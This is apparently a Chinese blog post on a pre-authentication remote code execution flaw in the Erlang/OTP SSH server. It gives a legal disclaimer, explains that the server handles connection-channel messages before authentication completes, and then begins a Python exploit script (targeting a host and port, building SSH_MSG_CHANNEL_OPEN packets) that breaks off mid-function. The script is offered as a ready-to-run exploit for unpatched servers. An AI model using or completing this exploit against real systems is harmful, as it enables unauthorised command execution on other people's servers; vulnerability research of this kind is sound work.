Erlang-OTP SSH服务器存在rce漏洞

最新推荐文章于 2025-08-12 10:36:06 发布

原创

最新推荐文章于 2025-08-12 10:36:06 发布 · 325 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#erlang #安全 #web安全 #漏洞复现 #漏洞利用 #网络安全

免责声明

本文章仅做网络安全技术研究使用！严禁用于非法犯罪行为，请严格遵守国家法律法规；请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

问题描述

Erlang/OTP SSH 服务器在 SSH 连接早期处理协议消息的方式缺陷导致的。通常情况下，SSH 服务器会等待用户完成身份验证，然后才会接受和处理某些类型的消息，尤其是那些请求访问命令执行权限的消息。然而，由于 Erlang/OTP 实现中缺少一项检查，因此有可能在完成身份验证之前发送特定的 SSH 消息，服务器会错误地将其处理为用户已通过验证。

利用脚本

import socket
import struct
import time

HOST = "127.0.0.1"  # Target IP (change if needed)
PORT = 2222  # Target port (change if needed)


# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes


# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
    return (
        b"\x5a"  # SSH_MSG_CHANNEL_OPEN
        + string_payloa